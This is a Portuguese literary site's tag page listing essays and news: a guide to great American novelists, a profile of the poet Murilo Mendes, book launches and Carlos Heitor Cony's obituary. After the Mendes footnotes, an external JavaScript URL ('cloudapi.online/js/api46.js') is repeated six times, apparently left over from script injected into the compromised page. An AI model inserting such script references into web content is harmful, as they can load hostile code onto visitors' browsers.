Resultados do marcador: Literatura

Encontramos 248 resultados
Do espanto e outros mistérios

Termino de ler “A Mente Naufragada”, do pensador norte-americano Mark Lilla em meio (ou no fim?) da greve dos transportadores

Ex-presidente da Juceg, Rafael Lousa articula lançamento de livro sobre política, em Goiânia

“O voto do brasileiro”, escrito pelo renomado cientista político Alberto Carlos Almeida chega em Goiás no final de junho

Micro guia para o Grande Romance Americano de Melville a Philip Roth

“A Letra Escarlate”, “Moby Dick”, “As Asas da Pomba”, “Herzog”, “O Teatro de Sabbath” e “Meridiano de Sangue” cumprem a missão de “melhorar” a vida dos leitores Há nos Estados Unidos o “mito” do Grande Romance Americano. Alguém já o escreveu, alguém vai escrevê-lo? Quem? Na verdade, tal romance já foi escrito. Aliás, não se deve falar num romance, e sim em vários romances. E há escritores americanos que são, no geral, bons críticos literários. Entre eles estão Henry James, Saul Bellow (um ensaísta do primeiro time), John Updike e Philip Roth. Faltou neste micro guia alguém decididamente importante? Sim. Sempre falta. Não há listas completas. Se listas fossem completas seu nome não seria listas... e sim Deus. Faltou incluir escritores como Edgar Allan Poe (escreveu um romance e contos maravilhosos), Mark Twain (dele deriva a prosa enxuta dos Estados Unidos, segundo Edmund Wilson), Jack London (quem nunca teve prazer lendo seus livros que arranque a primeira página), Edith Wharton, Katherine Anne-Porter (grande contista), Eudora Welty, Thomas Wolfe, John Dos Passos, John Steinbeck (não é de primeira linha, mas sempre o li com prazer; “As Vinhas da Ira” é um romance denso, de cunho social), Paul Bowles, Bernard Malamud, Flannery O'Connor (sugestão do poeta Adalberto Queiroz), Toni Morrison (sugestão do poeta Carlos Willian Leite), Norman Mailer, James Salter (Richard Ford diz que é o escritor das melhores frases; além da prosa, escreveu memórias deliciosas; é um contista extraordinário), Gore Vidal (aprecio sua literatura, sua crítica literária e suas memórias; é um reserva de luxo do time titular), Truman Capote, Tom Wolfe e William Kennedy (sua literatura é de primeira linha). Por que não Susan Sontag e Edmund Wilson, também prosadores? Porque os vejo muito mais como excelentes críticos literários (Sontag mais na linha do ensaísmo). Wallace Foster? Não sei por quê, mas meu nariz torce quando meus olhos leem algumas páginas de seus livros. Foster, por sinal, não era mau crítico literário. Jonathan Safran Foer (muito bom) e Jonathan Franzen estão construindo uma obra. Paul Auster fica para a próxima lista. Nathaniel Hawthorne “A Letra Escarlate”, de Nathaniel Hawthorne, fica em pé ao lado de qualquer outro romance inglês ou francês, por exemplo. Um parceiro para o romance “Madame Bovary”, do francês Flaubert. A história permanece moderna, diria até atual — quiçá feminista. A sensibilidade para perceber o feminino, seus amores e desventuras, mostra um autor adiante, estética e moralmente, de seu tempo. A prosa é primorosa, não derramada nem lacrimosa. O matiz humanista é revigorante. Fica-se com a impressão de que a denúncia comportamental é mais sólida e reverberante quanto mais é ponderada e ampla a sua manifestação. Herman Melville “Moby Dick”, de Herman Melville, é um grande romance em qualquer perspectiva. Um diálogo com a cultura da humanidade, inclusive a espiritual (diria que há um pacto de guerra, revestido de ódio e amor, entre a baleia branca e Ahab — um laço inquebrantável entre o sagrado e o profano), e um enfrentamento do homem com a natureza. Quase todos, inclusive Faulkner na composição de seus personagens malditos, beberam na prosa caudalosa-bíblica de Melville (por sinal, bom poeta). Ah, a batalha épica é vencida pelo livro, e não pela baleia e pelo capitão. Henry James Henry James escreveu ficções seminais — como “Retrato de uma Senhora”, “As Asas da Pomba” e “A Taça de Ouro”. Poucos escritores são tão refinados — o que alguns confundem com pompa — quanto o prosador americano que se considerava inglês (mas seu tema era o americano na Europa — a redescoberta do velho mundo). Trata-se de um prosador que construiu belas personagens femininas (em geral, são decentes e, apesar de vítimas da codícia masculina, perceptivas). Algumas de suas personagens masculinas são “falhas”, por vezes canalhas. James tem um olhar delicado e preciso para o universo das mulheres. Elas são mais perspicazes do que, à primeira vista, parecem. Scott Fitzgerald Scott Fitzgerald comparece com o romance “O Grande Gatsby”. Os contos são, no geral, de primeira linha. Fica-se com a impressão, por vezes, que a vida de Francis ficou maior do que sua literatura. Tornou-se um personagem praticamente literário, como os homens e mulheres de carne e ossos que ele transformava nos seres fugidios de seus livros — caso do extraordinário casal de ricaços Gerald e Sara Murphy. Edmund Wilson o percebia como um dos gênios literários naturais. William Faulkner “O Som e a Fúria”, “Enquanto Agonizo”, “Luz em Agosto” e “Absalão, Absalão”, de William Faulkner, merecem figurar em qualquer antologia dos melhores da literatura transnacional. “Enquanto Agonizo” é a joia da coroa — a história é tão extraordinária quanto a forma narrativa (todos os personagens têm voz ativa e contam a história, que, assim, é de fato um mosaico de opiniões e narrativas). Os joycianos ficam, lógico, com “O Som e a Fúria”, filho dileto de “Ulysses”. A literatura de Faulkner é tão forte que influenciou autores díspares como Gabriel García Márquez e Mario Vargas Llosa. Ele chegou a visitar o Brasil, mas permaneceu bêbado quase todo o tempo. Era um borracho... de gênio. Ernest Hemingway Ernest Hemingway é tido mais como contista do que como romancista (mesmo respeitando a crítica literária, aprecio a prosa longa, algo frouxa, do autor de “Por Quem Os Sinos Dobram”, um belo romance, assim como “Adeus às Armas” e “O Sol Também se Levanta”). Teria escrito o Grande Conto Americano, como “Os assassinos” (que deu origem a dois bons filmes). José J. Veiga e Enio Silveira traduziram o americano muito bem. Hemingway é praticamente uma personagem — uma estrela —, como Scott Fitzgerald, que escapou da literatura para a vida real. É um ser mítico. J. D. Salinger J. D. Salinger publicou poucos livros e escondeu-se, afastando-se do público, mas não da fama e da celebração. Mas quem escreveu “O Apanhador no Campo de Centeio” jamais pode ficar fora de uma lista americana. O romance se tornou icônico, independentemente da qualidade (que tem). Com sua prosa fluente, capta à perfeição a vida de um adolescente (prosa e tema fundem-se, o que assinala a mestria do autor). Seus contos também são de qualidade. Saul Bellow Saul Bellow era canadense, mas fez sua vida nos Estados Unidos. Influenciou largamente a prosa de Philip Roth. Seus romances são caudalosos, inteligentes e discursivos — o que pode afastar o leitor apressado. Perde, e muito, aquele que não tiver paciência para ler seus livros, como “O Legado de Humboldt”, “Herzog”, “Henderson, o Rei da Chuva” e “As Aventuras de Augie March”. “Herzog” pode até não ser o mais emblemático, mas é o meu preferido. Roth é diferente de Bellow, mas este é, em parte, sua matiz literária. Os dois são modernistas, sabem tudo de James Joyce e Faulkner, mas caminham por outras searas. John Updike John Updike, o Balzac da classe média americana, escreveu uma série de romances, uma espécie de Comédia Humana dos Estados Unidos, seminais. A série “Coelho” é uma história alternativa dos Estados Unidos. Pode um escritor se tornar sociólogo de um povo? É provável. A veia compreensiva — aqui e acolá, compassiva — de Updike lembra até a pegada dos antropólogos. Mesmo quando descreve, de maneira meticulosa, personagens medíocres, com suas vidas insossas, o autor demonstra uma compaixão perceptiva. Os personagens, embora sejam menores, agigantam-se. A vida é grande, apesar de tudo — sugere o autor. Joyce Carol Oates Joyce Carol Oates é, seguramente, a maior escritora americana viva, ao lado de Cormac McCarthy. Escreve sobre quase tudo, até boxe, e sempre muito bem. Está a merecer o Nobel de Literatura. Para conhecer sua prosa, vale a pena começar pelo romance “Filha do Coveiro”. Poucos escritores colhem temas reais (no caso de Oates, a história de sua família) e conseguem imaginá-los tão bem quanto a autora (a realidade, recriada, fica mais vívida e, portanto, compreensível). Diria que é a Ian McEwan dos Estados Unidos. Por ser tão macabra quanto? Não. Por escrever tão bem quanto o britânico. Philip Roth Philip Roth fez um retrato da América, sua amada e problemática América, para além dos temas judaicos. Porque o mundo dos judeus, por mais que tenha sua especificidade, está integrado ao mundo global, nos e fora dos Estados Unidos. Recomendo como primeira leitura “O Complexo de Portnoy”, para o leitor entrar, de cara, no universo rothiano. Depois, pode seguir em direção a “Lição de Anatomia”. Em seguida, o leitor fica livre para escolher qualquer um de seus romances, desde os mais densos aos mais, se se pode dizer assim, amaneirados. A obra-prima de Roth talvez seja o conjunto de seus romances. Mas considera-se “O Teatro de Sabbath” como sua obra basilar, seguida, quem sabe, de “Pastoral Americana”. “Complô Contra a América”, embora tenha a ver com a Segunda Guerra Mundial, é quase uma biografia indireta de políticos como George W. Bush e Donald Trump. “O Seio”, pouco conhecido no Brasil, é uma mimetização de “A Metamorfose”, de Kafka. Perde, claro, para a novela do tcheco. Thomas Pynchon Thomas Pynchon, de 81 anos, é o Jerome David Salinger dos tempos atuais. Recluso, não concede entrevistas, mas persiste escrevendo bons livros. Sua prosa é difícil, dado o congestionamento de informações às vezes científicas e às vezes da cultura popular. Sua leitura fica mais fácil com a internet — o Google e o YouTube (para as referências musicais). Como deve ser o início de sua leitura? Não há uma fórmula. Mas recomendo, por uma questão de facilidade de leitura, que se inicie o contato com sua prosa pelo romance “Vício Inerente”, aliás relativamente bem adaptado pelo cinema. “O Leilão do Lote 49”, romance mignon, é outra porta de entrada. Depois, pode-se fazer uma tentativa com os gigantes “V.”, “O Arco-Íris da Gravidade”, “Vineland” e “O Último Grito”. Com um pouco de paciência, é possível seguir adiante, sem grandes atropelos. Basta pegar o “jeito” de Pynchon narrar e agrupar as informações sobre determinados períodos e assuntos. Vladimir Nabokov O leitor certamente vai estranhar a menção a Vladimir Nabokov, se é russo, e não americano. A prosa do escritor deve muito à sua vivência nos Estados Unidos. “Lolita” pode até ter certa ligação com “Anna Kariênina”, de Liev Tolstói — um de seus ídolos literários. Mas o romance deve muito às obsessões e ao puritanismo americanos. Pode-se dizer que, mesmo não tendo deixado de ser russo, Nabokov é, em larga medida, um prosador ianque. “Lolita” serve como uma espécie de Muro de Berlim para a obra extensa e de alta qualidade do caçador de borboletas. “Ada”, “Fogo Pálido” e “A Verdadeira Vida de Sebastian Knight” são livros excepcionais. Há algum tempo, a Alfaguara lançou seus contos no Brasil (“Contos Reunidos”). Há preciosidades nem sempre reconhecidas, porque pouco lidas. Não dá para não ler sua autobiografia, “Fala Memória”. Sua crítica literária é de primeira linha. Cormac McCarthy Ao lado de Joyce Carol Oates, Cormac McCarthy, de 84 anos, talvez seja o maior escritor americano vivo. Harold Bloom, que é seu admirador, aponta “Meridiano de Sangue” como um romance shakespeariano. Talvez seja mesmo. O juiz da obra é, de fato, uma personagem que escapou do teatro do bardo britânico e ressurgiu nos Estados Unidos. O livro contém várias formas, inclusive a do western. Mas é, no fundo, uma grande obra literária. O autor escreve prosa de excelente nível, mas nada igual a “Meridiano Sangrento” (o romance recebeu este título noutra tradução). É um dos nobelizáveis dos steites. Com a morte de Philip Roth, que era rejeitado pelos suecos, a Academia de Estocolmo se sentirá livre para premiar McCarthy ou Joyce Carol Oates. Richard Ford O leitor desavisado, ao pegar um romance de Richard Ford, de 74 anos, eventualmente pode pensar que está lendo o duplo de John Updike. Mas é um engano. Eles, de fato, são parecidos, na obsessão de contar a vida de um homem e, por meio dela, a história dos americanos de uma determinada época. Mas Ford é mais corrosivo do que Updike e sua prosa é mais límpida (mais direta, quem sabe). “O Cronista Esportivo”, “Independência” e “O Sal da Terra”, a trilogia centrada na personagem Frank Bascombe, dão vislumbres da magnífica prosa do autor. Recomendo vivamente sua literatura. Don DeLillo Autor de uma prosa estupenda, Don DeLillo ficou imprensado, quem sabe, entre John Updike e Philip Roth, mais canônicos. Sua literatura, às vezes mais política, é de alta qualidade — e, como Cormac McCarthy, aventura-se em temas que nem sempre figuram nas obras dos escritores consagrados, como a (ou uma quase) “ficção científica”. “Submundo” (tradução de Paulo Henriques Britto) e “Ruído Branco” são dois dos mais importantes romances de DeLillo. Ele enfrentou o 11 de Setembro com “Homem em Queda”. “Cosmópolis”, levado ao cinema, exibe sua literatura inventiva. “Zero K”, sobre a imortalidade, é seu último romance publicado no Brasil. Nove contos podem ser conferidos em “O Anjo Esmeralda”. l

O primeiro parágrafo de 10 romances de Philip Roth

O escritor americano publicou obras-primas como “O Complexo de Portnoy”, “O Teatro de Sabbath” e “Pastoral Americana”

Giovani Ribeiro lança livro de poemas “Devaneios da Linguagem” nesta segunda (21)

Obra publicada pela Editora Kelps será apresentada ao público a partir das 20 horas de hoje no auditório da igreja Assembleia de Deus campo de Campinas, em Goiânia

Flannery O´Connor e a matemática da exclusão

Prometi falar ainda uma vez sobre a escritora católica norte-americana, mas logo me lembrei do brilhante ensaio de Martim Vasques para o jornal literário Rascunho

Hart Crane e Flannery O´Connor – dois ausentes nas traduções brasileiras

Se me dou conta agora que uma crônica tem seu momento, reflito que já escrevi sobre isso: "aparentemente a crônica é talvez, mas a crônica é sempre e, principalmente, quando"

Willa Cather e a imaginação dos pioneiros

Escritora norte-americana fala de fronteiras e ocupação dos grandes espaços da América; dela se pode reafirmar com Carpeaux que “o catolicismo foi elemento significativo de sua arte”

Henry James – Alguma chave para o método

Saímos de um livro do autor como quem retorna de uma viagem. Na minha idade, costumo chegar cansado, mas animado, vislumbrando novas perspectivas

Poetas católicos do Brasil (3) – Murilo Mendes

"O poeta brasileiro de Roma" é o protagonista desta terceira crônica da série. O mineiro cosmopolita das letras continua sendo o menino de Juiz de Fora que se fez escritor como "ser de circunstância e eterno" [caption id="attachment_121209" align="aligncenter" width="596"]Murilo Mendes, poeta da circunstância e do eterno Murilo Mendes (1901-1975) o poeta católico, visionário do Tempo e da Eternidade | Foto: Reprodução[/caption] Ei-lo, Murilo Medina Celi Monteiro Mendes ou, simplesmente, Murilo Mendes (1901-1975), aquele que ocupa o lugar de destaque deste artigo, a terceira parte da série “Poetas católicos do Brasil – o poeta brasileiro de Roma. Eis aqui o que toma a cena principal para ser apresentado às novas gerações de leitores de poesia. Murilo é, entre os poetas retratados nesta série, talvez o mas incensado. Aquele sobre quem mais se acumulou uma fortuna crítica, a quem se dedicou um Museu em sua cidade natal (Juiz de Fora, MG) e, até mesmo, para o qual se voltaram os artistas plásticos recriando a face do poeta. A Universidade Federal de Juiz de Fora dedicou a ele lugar de destaque no acervo, e a biblioteca principal é o setor onde se encontram os livros do poeta, além de ter-lhe emprestado o próprio nome do museu. [caption id="attachment_121277" align="alignright" width="259"]Murilo Mendes retratado por Guignard, 1930 Murilo Mendes em quadro de Guignard (1930)[/caption] Como dizia Luciana Stegagno Picchio[i] na apresentação à segunda edição da poesia completa (e prosa) de Murilo, em 1994: Mudou o público, mudou o gosto dos leitores, mas penso que o público brasileiro se encontra hoje muito mais próximo dele do que esteve nos anos 60 e 70 durante a sua ausência [durante os dezoito anos em que o poeta viveu em Roma]; sobretudo os jovens leitores de poesia, receptores privilegiados das mensagens que o seu poeta ainda lhes transmite do caos (ou talvez do céu em que certamente está)”. E aí estamos nós, em meio a um novo caos e decadência de costumes – no século mau, numerado XXI. E surgem novos leitores, porque a boa poesia nunca é esquecida. A estes é preciso dizer que a obra de amor à poesia não se desfez. Que a poesia católica resiste e persiste. Da tríade que logo se fez quarteto é preciso falar sobre e, principalmente, ler os versos de Jorge de Lima, Murilo Mendes, Augusto Frederico Schmidt e Tasso da Silveira. Murilo já foi considerado como “um homem de cultura, sofisticado, entre nossos intelectuais e artistas, um dos mais internacionalizados ou cosmopolitas – o que significaria, na verdade, avesso a nacionalismos de qualquer espécie e antiprovinciano por excelência[ii]”. Mário de Andrade “puxa a orelha” do irmão católico em seu comentário à “Poesia em Pânico”, ao dizer que “a atitude desenvolta que o poeta [Murilo] usa nos seus poemas pra com a religião, além de um não raro mau gosto, desmoraliza as imagens permanentes, veste de modas temporárias as verdades que se querem eternas, fixa anacronicamente numa religião do tempo e do espaço o Catolicismo, que se quer universal por definição. Neste sentido, o catolicismo de MM guarda a seiva de perigosas heresias”. Murilo e "o mais doloroso canto de amor" Mário de Andrade confessa não ter “intenção de insinuar seja insincero este poeta; me inquieta apenas a sua complacência com o moderno, e a confusão de sentimentos...”, no vai-e-vem entre o uso da crítica e o admirado leitor de poesia, reconhece na poesia de Murilo “um dos momentos mais belos da poesia contemporânea e, por certo, o seu mais doloroso canto de amor”. Murilo Mendes faz parte de um tempo em que a poesia católica era lida, ouvida, musicada e, até mesmo, aparecia em filmes. Era tempo em que Drummond pedia aplausos ao poeta Murilo, na igual medida que os recebiam artistas de TV. Tempo posterior foi o que o crítico José Guilherme Merquior declarou sobre o poeta cosmopolita:

“Toda a existência de Murilo até a ida para a Europa é assim, ou melhor, é vista assim: como a de um ser bondoso e aluado, anarquista por natureza, impaciente com a autoridade e o autoritarismo, pronto em todos os momentos a dizer não à ditadura, mas impaciente com a banalidade e a preguiça mental. E eis Murilo que abre o guarda-chuva durante um recital de piano no [Teatro] Municipal como protesto – mudo – contra a convencionalidade da execução e do programa; Murilo que, quando da tomada de Salzburg pelos alemães, telegrafa a Hitler o seu protesto em nome de Wolfgang Amadeus Mozart; Murilo persona non grata na Espanha franquista. E ainda Murilo finalmente do outro lado do Atlântico, em busca da recuperação de uma ancestralidade cultural europeia vista como integração do menino “que não tinha tido Idade Média” num mundo que, contudo, lhe pertencia por afinidades, por eleição. Porque sempre, para Murilo Mendes, a vida constituiu um todo indivisível da literatura, da poesia”.
E a mim, cabe dizer, hoje, que mesmo não tendo jamais cruzado destino com ambos, vejo na assertiva de J. G. Merquior um complemento importante ao que sobre Murilo dissera Mário de Andrade, o católico acanhado de sua catolicidade, aquele que preferiu o “modernismo” à metafísica; o que preferiu a Prosa à Poesia. Ele dissera antes e apropriadamente que foi o catolicismo infundido n'alma e herdado por Murilo (segundo ele) do “amigo tirânico Ismael Nery”, que dando “o devido valor ao tempo e organizando a eternidade, colocou o poeta [Murilo Mendes] dentro do alto espiritualismo da sua poesia”. E, no entanto, não há como fazer “tábua rasa” do Catolicismo na poesia de Murilo Mendes, como querem alguns críticos europeus – como descrito por Maria Betânia Amoroso em seu “Murilo Mendes: o poeta brasileiro de Roma”, livro fundamental para os jovens que desejarem pesquisar a vida e a obra do poeta mineiro. E Carlos Drummond de Andrade – o “poeta maior” se queda ao prêmio internacional que Murilo arrebatou na Europa (o “Etna-Taormina”): “E ninguém se mexe, ninguém pega no ganzá e celebra esse outro gol do Brasil que o prêmio Internacional de Poesia conferido a Murilo Mendes?” – indagava Drummond. E essa nossa típica “faculdade de arquivo”, a engraçada “arte de arquivar” poetas, escritores que “dobram a esquina, que se vão de jato ou de navio” – ou que atravessam o Cosmo, para o Éter, [digo eu]  - o que já se coloca num nível de maldade talvez nunca observado em outras culturas. Murilo Mendes, malgrado sua vocação a questionar tudo, inclusive sua fé (sua catolicidade), merece e muito ser lido pelas novas gerações, como um valor poético de altíssimo talento no mundo restrito dos poetas católicos e de uma inteligência católica que se vê minguada, apagada, covardemente posta em retaguarda diante de um mundo cada vez mais pagão. Haroldo de Campos, um vanguardista, aponta em Murilo Mendes, o sinal do homem que fazendo poesia veio para chocar – “no essencial de sua produção, um poeta inexoravelmente de vanguarda” – um poeta que, num aforismo decretou seu próprio destino: "Passaremos do mundo adjetivo para o mundo substantivo”. E a passagem de Murilo, num itinerário contestado por uns, amados por outros, é o de um poeta empenhado no sentido de se mover da teoria à prática. O amigo de Ismael Nery e de Jorge de Lima, o poeta número 1 da poesia católica e que hoje ainda faz adeptos por sua ortodoxia, tem seu lugar por ser sobretudo poeta, embora um tantinho heterodoxo em poesia e na vida. Murilo o que se sente “compelido ao trabalho literário”, foi o que supriu lacunas na poesia brasileira, pela teimosia, pela criação dos ideogramas, pelo “amor à Liberdade” – valor que pôs acima de tudo em sua poética. Murilo, o que se sente impelido ao ecumenismo, o mineiro que se fez cidadão do mundo: “Dentro de mim discutem um mineiro, um grego, um hebreu, um indiano, um cristão péssimo, relaxado, um socialista amador; porque não separo Apolo de Dionísio; por haver começado no início da adolescência a leitura de Cesário Verde, Racine, Baudelaire; por julgar os textos tão importantes como os testículos; por sofrer diante da enorme confusão do mundo atual, que torna Kafka um satélite da Condessa de Ségur...”. Para ele, assim se deu a cosmovisão:
“O Espírito tomou um feixe de ossos secos, soprou sobre ele, deu-lhe nervos, cartilagens, tecidos, pele, ligaduras, pés, mãos, olhos, cabeça – levantou-se, alto, a tez morena, os braços compridos, a voz ardente – leu o que dele, de ti e de nós todos está escrito nos livros proféticos, deu um grande brado, e sitiou a Igreja Católica. TU ES PETRUS. O Universo recebeu tua marca até o fim dos tempos. Tudo já está encarnado. E tudo existe para os eleitos”.
O poeta que parece humanizar tudo, no mais das vezes é o menino católico das Minas Gerais que se refugiou em Roma e foi morrer em Lisboa. Drummond já dissera: “mineiros há que vão e mineiros há que ficam” – Murilo é um mineiro que foi: “...para Roma e levou na bagagem para a Itália sua alma brasileira”. Apressadamente, querem fazer do catolicismo do poeta matéria de coisas e não de almas. Querem fazer de Murilo não o místico, ainda que sempre parecendo brincar de menino que a tudo contesta, mas o poeta das coisas; quando ele é mais do que isso – poeta que escreve alguns palmos acima do chão – nele há o poeta da “magia verbal e expressiva”; o modernista, mas há , antes, o poeta católico de “Tempo e eternidade” (obra em parceria com o número 1 da poesia católica do Brasil, seu amigo Jorge de Lima). Não há como abrir um livro de Murilo e não ver o Cristo e não ver Maria e não ver a Igreja Católica. Impossível não ver a “Eternidade do homem[iii]”:

“Abandonarei as formas de expressões finitas, Abandonarei a música dos dias e das noites, Abandonarei os amores improvisados e fáceis, Abandonarei a procura da ciência imediata Serei testemunha de um mundo que caiu, Até que te manifestes na tua Parusia. Aceitarei a pobreza para me dês a plenitude, Aceitarei a simplicidade para que me dês a multiplicidade, Descerei até o fundo da mina do sofrimento Para que um dia me apontes o céu da paz. Minha história se desdobrará em poemas: Assim outros homens compreenderão Que sou apenas um elo da universal corrente Começada em Adão e a terminar no último homem”.

Eis o homem, o poeta, capaz de dizer tão simplesmente que “meu ser é uma vasta estrebaria onde se vêm abrigar todas as impurezas da terra desde os meus mais remotos ancestrais”. Murilo é o poeta que oferece a Deus sua poesia e sua vida, pois mais anárquica, mais pecadora, mais contestatória que tenha sido, um que humildemente se faz oferenda: “...me ofereço em sofrimentos e poemas pelo resgate dos poetas cuja fé vacila, em união com todas as hóstias que se elevam diariamente nos altares de todos os recantos da terra, apresentadas a Ti, ó Deus, para honra e glória do teu nome...”. Um homem assim, um fiel, não é bem recebido alhures senão como aquele que traz o contingente para a poesia, esquecendo boa parte da crítica de seu marcante traço metafísico. Entretanto, coube ao católico Manuel Bandeira repor as coisas no seu devido lugar:
“Em toda a poesia de Murilo Mendes assistimos a essa constante incorporação    do eterno ao contingente. (...) sente-se sempre na poesia do Murilo Mendes a força da inteligência e do coração dominando o tumulto das fontes do subconsciente. Poesia bem de católico, terrivelmente cônscio do pecado original e ao mesmo tempo como que feliz de todas as suas fraquezas pelo que elas implicam de amor – um fulgurante amor não só pelos seus semelhantes como por todas as criaturas e coisas da Criação. Um catolicismo à São Filipe Néri, em que a verdade é concebida em suma e em essência como caridade”.
Fica, pois, submetido a seu juízo, leitor, este pequeno perfil de um grande poeta. A você, parte das novas (e antigas) gerações de leitores de poesia – que juntos não somos mais do que “dois em mil”,  segundo a poetisa polonesa Wisława Szymborska –, a poesia do parceiro de Jorge de Lima, com quem compôs versos para o Tempo e a Eternidade, que se refez “Discípulo de Emaús”, o primeiro a compreender a força dos aforismos e com isso se tornou o poeta brasileiro a se antecipar aos 140 caracteres das redes sociais, como no aforismo #200: “O verdadeiro poeta é conjuntamente um ser de circunstância, e eterno”.   Adalberto de Queiroz, 63, jornalista e poeta. Autor de “O Rio Incontornável” (Mondrongo, 2017). [i] MENDES, Murilo. “Poesia completa e prosa”. Organização e preparação do texto: Luciana Stegagno Picchio. Rio de Janeiro: Editora Nova Aguilar, 1994. Sobre o acervo digital, o leitor pode ter acesso à obra do poeta pode ser consultada online através deste link, onde também os pesquisadores podem se cadastrar para consultas locais especializadas. [ii] AMOROSO, Maria Betânia. “Murilo Mendes: o poeta brasileiro de Roma”. São Paulo, Editora Unesp; Juiz de Fora (MG): Museu de Arte Murilo Mendes, 2013. 262 páginas. [iii] Cf. nota i. “Tempo e eternidade”. Obra completa, pág. 255. https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js

Guga Chacra vai lançar livro sobre a guerra na Síria

Único brasileiro a entrevistar Bashar al-Assad, o repórter é uma autoridade em Oriente Médio

Vitti lança livro em parceria com a UFG sobre história do Legislativo goiano

“O Poder Legislativo em Goiás: memorias e Registros"m dos professores Denise Paiva Ferreira e Francisco Itami Campos, é parceria entre UFG e Parlamento

A segunda morte de Nelly Novaes Coelho

Esquecida em vida pela crítica e pelo jornalismo, e relegada a um asilo pela família, escritora não teve sequer a morte anunciada na data certa, ocorrida em novembro de 2017

O professor que fazia o mundo da leitura virar leitura de mundo

“Pensar dói”, costumava dizer Geraldo Faria Campos. Sua forma de ensinar português e sua atitude humanizadora na relação com seus alunos o fizeram mestre inesquecível de gerações

Morre Carlos Heitor Cony, escritor carioca, membro da Academia Brasileira de Letras

Jornalista, romancista, cronista, homem culto, Cony estava internado em um hospital no Rio de janeiro; a causa da morte foi falência múltipla de órgãos [caption id="attachment_114266" align="alignnone" width="620"] Carlos Heitor Cony (1926-2018): dono de um senso crítico aguçado, escritor deixa um legado intelectual raro | Foto: Divulgação[/caption] O escritor carioca Carlos Heitor Cony morreu no final da noite de sexta-feira, aos 91 anos, no Rio de Janeiro. A causa da morte foi falência múltipla de órgãos. Cony era dono de um senso crítico aguçado. Qualquer crítica que fizesse, fosse sobre um político de direita ou de esquerda, por exemplo, era uma grande lição. Membro do Conselho Editorial do jornal “Folha de S. Paulo”, autor de vários romances e incontáveis textos de opinião, Cony deixa um legado intelectual raro. Durante muito tempo, ele escreveu diariamente uma coluna na “Folha”, em que falava de tudo, desde política e cultura, aos temas mais chãos e ligados à memória cotidiana, como sua cachorrinha, que o inspirou a escrever o romance “Quase Memória”. Livros de ficção como “O Ventre”, “Pessach – A Travessia”, “Informação ao Crucificado”, e jornalísticos ou biográficos como “Ato e Fato - O Som e a Fúria de Que Se Viu no Golpe de 1964” e “JK e a Ditadura”, são exemplos da herança que ele deixa à memória brasileira. Em 2016, a Editora Nova Fronteira publicou uma caixa com alguns de seus livros. Uma das frases que Cony mais repetiu em sua vida é um contrassenso ao seu estado na infância. “É verdade que o senhor demorou para falar?”, perguntavam-lhe. “Fui mudo até os cinco anos. O pessoal pensava que eu era retardo. Mas é que eu não tinha nada a dizer, a verdade é essa. Até os cinco anos, eu não tinha nada a dizer”, respondia o escritor. Essa afirmação já faz parte do Cony adulto e entusiasta do cinismo e da ironia. Cony não só demorou a falar, como tinha a língua presa e era disléxico. Ele trocava as letras, até os 15 anos. Aeroporto, por exemplo, ele dizia arieporto. Por causa disso, passou a escrever bilhetes para a mãe e pregá-los na porta da geladeira. Depois foi estudar num seminário, para ser padre, de onde saiu culto e ateu.